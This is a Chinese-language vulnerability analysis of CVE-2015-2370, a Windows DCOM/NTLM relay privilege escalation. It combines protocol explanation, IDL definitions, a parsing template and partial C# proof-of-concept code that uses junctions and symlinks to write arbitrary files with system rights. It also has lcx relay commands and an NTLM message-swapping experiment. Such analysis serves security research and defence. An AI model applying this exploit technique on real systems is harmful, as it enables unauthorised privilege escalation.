CVE-2015-2370漏洞成因分析
###漏洞成因分析###
這個漏洞是一種DCOM DCE/RPC協議中ntlm認證後資料包重放導致的許可權提升漏洞
分析的重點DCOM DCE/RPC協議原理,這個協議主要由2塊內容組成,dcom的遠端啟用機制和ntlm身份認證
####1.dcom的遠端啟用機制####
微軟官方解釋
有一個執行在135埠的rpcss服務也就是dcom的啟用服務負責協調本機所有com物件的啟用,當本機啟用時採用通過核心通訊,無法捕獲資料包,屬於內部操作,只有當遠端啟用或遠端重定向到本機啟用這2中方式才可以捕獲到資料包.遠端啟用採用CoCreateInstanceEx方式指定遠端伺服器和啟用身份等引數呼叫rpscss的IRemoteSCMActivator介面的RemoteCreateInstance方法啟用,或者CoGetClassObject =呼叫rpscss的IRemoteSCMActivator介面的RemoteGetClassObject方法啟用同樣可選指定遠端伺服器和啟用身份等引數.還有一種方式方式是客戶端marshal服務端unmarshal方式,在marshal的stream中寫入
[ uuid(99fcfec4-5260-101b-bbcb-00aa0021347a), pointer_default(unique) ] //marshal方式 interface IObjectExporter { [idempotent] error_status_t ResolveOxid ( [in] handle_t hRpc, [in] OXID *pOxid, [in] unsigned short cRequestedProtseqs, [in, ref, size_is(cRequestedProtseqs)] unsigned short arRequestedProtseqs[], [out, ref] DUALSTRINGARRAY **ppdsaOxidBindings, [out, ref] IPID *pipidRemUnknown, [out, ref] DWORD *pAuthnHint ); [idempotent] error_status_t SimplePing ( [in] handle_t hRpc, [in] SETID *pSetId ); [idempotent] error_status_t ComplexPing ( [in] handle_t hRpc, [in, out] SETID *pSetId, [in] unsigned short SequenceNum, [in] unsigned short cAddToSet, [in] unsigned short cDelFromSet, [in, unique, size_is(cAddToSet)] OID AddToSet[], [in, unique, size_is(cDelFromSet)] OID DelFromSet[], [out] unsigned short *pPingBackoffFactor ); [idempotent] error_status_t ServerAlive ( [in] handle_t hRpc ); [idempotent] error_status_t ResolveOxid2 ( [in] handle_t hRpc, [in] OXID *pOxid, [in] unsigned short cRequestedProtseqs, [in, ref, size_is(cRequestedProtseqs)] unsigned short arRequestedProtseqs[], [out, ref] DUALSTRINGARRAY **ppdsaOxidBindings, [out, ref] IPID *pipidRemUnknown, [out, ref] DWORD *pAuthnHint, [out, ref] COMVERSION *pComVersion ); [idempotent] error_status_t ServerAlive2 ( [in] handle_t hRpc, [out, ref] COMVERSION *pComVersion, [out, ref] DUALSTRINGARRAY **ppdsaOrBindings, [out, ref] DWORD *pReserved ); }
[
uuid(000001A0-0000-0000-C000-000000000046),
pointer_default(unique)
]
//CoCreateInstanceEx方式
interface IRemoteSCMActivator
{
void Opnum0NotUsedOnWire(void);
void Opnum1NotUsedOnWire(void);
void Opnum2NotUsedOnWire(void);
HRESULT RemoteGetClassObject(
[in] handle_t rpc,
[in] ORPCTHIS *orpcthis,
[out] ORPCTHAT *orpcthat,
[in,unique] MInterfacePointer *pActProperties,
[out] MInterfacePointer **ppActProperties
);
HRESULT RemoteCreateInstance(
[in] handle_t rpc,
[in] ORPCTHIS *orpcthis,
[out] ORPCTHAT *orpcthat,
[in,unique] MInterfacePointer *pUnkOuter,
[in,unique] MInterfacePointer *pActProperties,
[out] MInterfacePointer **ppActProperties
);
}
2.ntlm身份認證過程
ntlm官方解釋
CVE-2015-2370採用CoGetInstanceFromIStorage方式觸發伺服器從IStorage自身實現的IMarhal介面的MarshalInterface方法往stream中寫入marshaldata
HRESULT CoGetInstanceFromIStorage(
COSERVERINFO *pServerInfo,
CLSID *pClsid,
IUnknown *punkOuter,
DWORD dwClsCtx,
IStorage *pstg,
DWORD dwCount,
MULTI_QI *pResults
);
marshaldata是一個OBJREF可以通過如下指令碼使用010editor解析
local unsigned short sizetp;
struct tagOBJREF {
byte signature[4];
unsigned long flags;
struct iid
{
unsigned int Data1;
unsigned ushort Data2;
unsigned ushort Data3;
byte Data4[8];
} _iid;
if(OBJREF.flags==01h)
{
struct tagOBJREF_standard {
unsigned long flags;
unsigned long cPublicRefs;
struct oxid {
DWORD LowPart;
LONG HighPart;
} _oxid;
struct oid {
DWORD LowPart;
LONG HighPart;
} _oid;
struct ipid
{
unsigned int Data1;
unsigned ushort Data2;
unsigned ushort Data3;
byte Data4[8];
} _ipid;
struct tagDUALSTRINGARRAY {
unsigned short wNumEntries;
Printf("wNumEntries is %d",sizetp);
unsigned short wSecurityOffset;
sizetp=wSecurityOffset-2;
struct tagSTRINGBINDING {
unsigned short wTowerId;
unsigned short aNetworkAddr[sizetp];
} STRINGBINDING;
byte nullterm1[2];
struct tagSECURITYBINDING {
unsigned short wAuthnSvc; // Must not be zero
unsigned short wAuthzSvc; // Must not be zero
unsigned short aPrincName; // NULL terminated
} SECURITYBINDING;
byte nullterm2[2];
} dualstringarray;
} OBJREF_standard;
}
if(OBJREF.flags==02h)
{
struct tagOBJREF_handler {
unsigned char std[40];
struct clsid
{
unsigned int Data1;
unsigned ushort Data2;
unsigned ushort Data3;
byte Data4[8];
} _clsid;
unsigned char saResAddr[8];
} OBJREF_handler;
}
if(OBJREF.flags==04h)
{
struct tagOBJREF_custom {
struct clsid_custom
{
unsigned int Data1;
unsigned ushort Data2;
unsigned ushort Data3;
byte Data4[8];
} _clsid_custom;
unsigned long cbExtension;
unsigned long size;
unsigned byte pData;
} OBJREF_custom;
}
if(OBJREF.flags==08h)
{
unsigned byte std[40];
unsigned byte pORData[4];
unsigned byte saResAddr[12];
}
} OBJREF;
結果是一個standard的matshal模式,其中的DUALSTRINGARRAY欄位指定遠端解析的伺服器為127.0.0.1的6666埠,也就是我們要使用中間人攻擊監聽埠,如下圖:
127.0.0.1的6666監聽的資料包經過中轉後最終傳送至135埠的rpcss服務,服務端先進行ServerAlive進行伺服器時候線上確認,之後進行ntlm身份認證.
NTLM認證共需要三個訊息完成:
(1). Type1 訊息: Negotiate 協商訊息。
客戶端在發起認證時,是首先向伺服器傳送協商訊息,協商需要認證的服務型別從資料包中UUID為IOXIDResolver(99fcfec4-5260-101b-bbcb-00aa0021347a)代表協商的服務是IObjectExporter,如圖它被我們替換成了ISystemActivator(000001a0-0000-0000-c000-000000000046)代表協商的服務替換成IRemoteSCMActivator方式,為之後重放了一個RemoteCreateInstance請求做鋪墊,告訴rpcss服務要最終要啟用和請求是RemoteCreateInstance資料包中的內容,Type1 訊息中的Negotiate Flags代表客戶端要和伺服器端協商加密等級
(2). Type2 訊息: Challenge 挑戰訊息。
伺服器在收到客戶端的協商訊息之後,在Negotiate Flags寫入出自己所能接受的加密等級,並生成一個隨機數challenge返回給客戶端.這個challenge實際上也可以被重放,由接受另一個Authenticate來認證,實現身份竊取,筆者會在接下去的實驗中認證.如果Type2 訊息的reserved欄位不為0,為本機內部認證,在rottenpotato類似的方式使用SSPI中的函式獲取SecurityContext.
(3). Type3 訊息: Authenticate啟用訊息。
客戶端在收到服務端發回的Challenge訊息之後,讀取熬服務端的隨機數challenge。使用自己的客戶端身份資訊以及伺服器的隨機數challenge通過複雜的運算,生成一個客戶端隨機數challenge和客戶端的在Negotiate Flags,如果包含簽名這會把整個Authenticate認證訊息加入運算,導致身份竊取替換無效,如無簽名可以替換,詳細看實驗證明.Authenticate認證訊息傳送之後客戶端會在伺服器端返回之前接著傳送ResolveOxid2(IObjectExporter模式)或RemoteCreateInstance(IRemoteSCMActivator模式)給伺服器端.
(4). 伺服器在收到 Type3的訊息之後,會返回啟用成功或失敗訊息,至此dcom遠端啟用完成。
3.任意檔案建立過程
從資料包分析IRemoteSCMActivator::RemoteCreateInstance主要是其中pActProperties結構其中包含這幾個常見欄位
詳細解釋可以參考官方文件,其中InstanceInfoData的InstantiatedObjectClsId是表示要建立com例項的OLE Packager的clsid: {F20DA720-C02F-11CE-927B-0800095AE340},由於wireshark錯位的原因以二進位制中的資料為準
OLE Packager是一個ActiveX控制元件的包格式,會將自身在pActProperties其中的InstanceInfoData欄位的ifdStg的marshal結構中的二進位制資料寫入C:\Users<username>\AppData\Local\Temp(2)的檔案中當被建立時
typedef struct tagInstanceInfoData {
[string] wchar_t* fileName;
DWORD mode;
MInterfacePointer* ifdROT;
MInterfacePointer* ifdStg;
} InstanceInfoData;
這個ifdStg也是一個OBJREF結構,它通過一個ObjrefMoniker將這個OLE Packager物件轉換而成,CreateObjrefMoniker是一個將com物件marshal後轉換成一個moniker可以在ObjrefMoniker::GetDisplayName函式中獲取Base64Encoded的OBJREF二進位制資料的函式.poc中讀取原始檔的二進位制資料filedata是最終要建立高許可權檔案的內容寫入OLE Packager,導致在OLE Packager的unmarshal後位於C:\Users<username>\AppData\Local\Temp\建立一個檔名為(2)的檔案內容為filedata,通過建立CreateJunction給temp和C:\users\public\libraries\Sym資料夾使(2)的檔案也會在Sym裡建立,同時建立CreateSymlink給Sym資料夾的(2)檔案和最終要寫入的任意檔案路徑,導致(2)中的filedata二進位制寫入目標檔案,最終RemoteCreateInstance被伺服器端解析後以高許可權程序寫入任意檔案
public const string CLSID_Package = "f20da720-c02f-11ce-927b-0800095ae340";
public static IStorage CreatePackageStorage(string name, byte[] filedata)
{
//將原始檔的二進位制資料filedata寫入OLE Packager
MemoryStream ms = new MemoryStream(PackageBuilder.BuildPackage(name, filedata));
IStorage stg = CreateStorage("dump.stg");
ComUtils.OLESTREAM stm = new ComUtils.OLESTREAM();
stm.GetMethod = (a, b, c) =>
{
//Console.WriteLine("{0} {1} {2}", a, b, c);
byte[] data = new byte[c];
int len = ms.Read(data, 0, (int)c);
Marshal.Copy(data, 0, b, len);
return (uint)len;
};
OleConvertOLESTREAMToIStorage(ref stm, stg, IntPtr.Zero);
//寫入OLE Packager的clasid
Guid g = new Guid(CLSID_Package);
stg.SetClass(ref g);
return stg;
}
//通過ObjrefMoniker建立二進位制OBJREF填充ifdStg
public static byte[] GetMarshalledObject(object o)
{
IMoniker mk;
CreateObjrefMoniker(Marshal.GetIUnknownForObject(o), out mk);
IBindCtx bc;
CreateBindCtx(0, out bc);
string name;
mk.GetDisplayName(bc, null, out name);
return Convert.FromBase64String(name.Substring(7).TrimEnd(':'));
}
[MTAThread]
static void DoRpcTest(object o, ref RpcContextSplit ctx, string rock, string castle)
{
ManualResetEvent ev = (ManualResetEvent)o;
TcpListener listener = new TcpListener(IPAddress.Loopback, DUMMY_LOCAL_PORT);
byte[] rockBytes = null;
//讀取原始檔的二進位制資料filedata寫入OLE Packager
try { rockBytes = File.ReadAllBytes(rock); }
catch
{
Console.WriteLine("[!] Error reading initial file!");
Environment.Exit(1);
}
Console.WriteLine(String.Format("[+] Loaded in {0} bytes.", rockBytes.Length));
bool is64bit = !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("PROCESSOR_ARCHITEW6432"));
try
{
Console.WriteLine("[+] Getting out our toolbox...");
if (is64bit)
{
File.WriteAllBytes("C:\\users\\public\\libraries\\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx64);
}
else
{
File.WriteAllBytes("C:\\users\\public\\libraries\\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx86);
}
}
catch
{
Console.WriteLine("[!] Error writing to C:\\users\\public\\libraries\\createsymlink.exe!");
Environment.Exit(1);
}
string name = GenRandomName();
string windir = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
string tempPath = Path.Combine(windir, "temp", name);
//Sym資料夾使(2)的檔案也會在Sym裡建立
if (!CreateJunction(tempPath, "\"C:\\users\\public\\libraries\\Sym\\"))
{
Console.WriteLine("[!] Couldn't create the junction");
Environment.Exit(1);
}
//Sym資料夾使(2)中的filedata二進位制寫入目標檔案castle
if (CreateSymlink("C:\\users\\public\\libraries\\Sym\\ (2)", castle)) //Exit bool is inverted!
{
Console.WriteLine("[!] Couldn't create the SymLink!");
Environment.Exit(1);
}
IStorage stg = ComUtils.CreatePackageStorage(name, rockBytes);
byte[] objref = ComUtils.GetMarshalledObject(stg);
.....
}
###復現小實驗###
####1.實驗環境####
作業系統:Windows Server 20008 R2
開發環境:vs2013
####2.實驗設計####
我設計了一個實驗來演示ntlm資料包重放現象,git地址
我建立了2個使用者alice和bob,分別以alice和bob身份CoCreateInstanceEx建立一個com物件.然後把這2個建立過程通過2個lcx伺服器(192.168.0.6=>proxy1和192.168.0.12->proxy2)的135埠中轉至本機135埠,通過以下lcx命令:
在192.168.0.6和192.168.0.12上分別執行
lcx -listen 1234 135
在本機上執行
lcx -slave 192.168.0.6 1234 127.0.0.1 2222
lcx -slave 192.168.0.12 1234 127.0.0.1 6666
過程如下圖:
在這個程序中把把rpcss服務給alice的ntlm認證tyep2 Challenge啟用訊息轉發給接收bob,rpcss服務接收bob的tyep3 Authenticate訊息的,把rpcss服務給bob的tyep2 Challenge轉發給alice,rpcss服務接收alice的tyep3 Authenticate訊息的,由於ntlm機制的原因Challenge和Authenticate訊息都是本機的啟用訊息,Authenticate訊息也沒有給自己添加簽名,我們看資料包分析
結果都返回了RemoteCreateInstance成功的返回訊息
接下來我們把alice的身份換成了一個不存在的使用者alice1,也以同樣的方式轉發tyep2 Challenge和tyep3 Authenticate訊息,實驗的結果是這個不存在的alice1使用者反而以bob成功建立CoCreateInstanceEx了com物件,反過來說bob被alice1的身份替換了反而建立失敗
####3.實驗結論####
既然alice和bob的訊息可以通過替換身份資訊建立com物件,那麼以CVE-2015-2370中採用CoGetInstanceFromIStorage方式以system許可權的IObjectExporter中的ntlm認證訊息能以這樣方式重放呢,答案是不行的,因為IObjectExporter的tyep3 Authenticate包含對IObjectExporter的簽名,rpcss服務還是會對RemoteCreateInstance返回拒絕訪問,但是CVE-2015-2370方式是可以的因為之前替換了IOXIDResolver了ISystemActivator的啟用方式,tyep3 Authenticate訊息仍然保持之前對訊息簽名,IObjectExporter的簽名等級高於IRemoteSCMActivator,資料包沒中轉的情況下是可以的,當如果中轉了IObjectExporter到IRemoteSCMActivator就不行了,但是IRemoteSCMActivator到IObjectExporter是可以的,但是IObjectExporter建立不了com物件,所以沒法實現提權.如果讀者有興趣可自行嘗試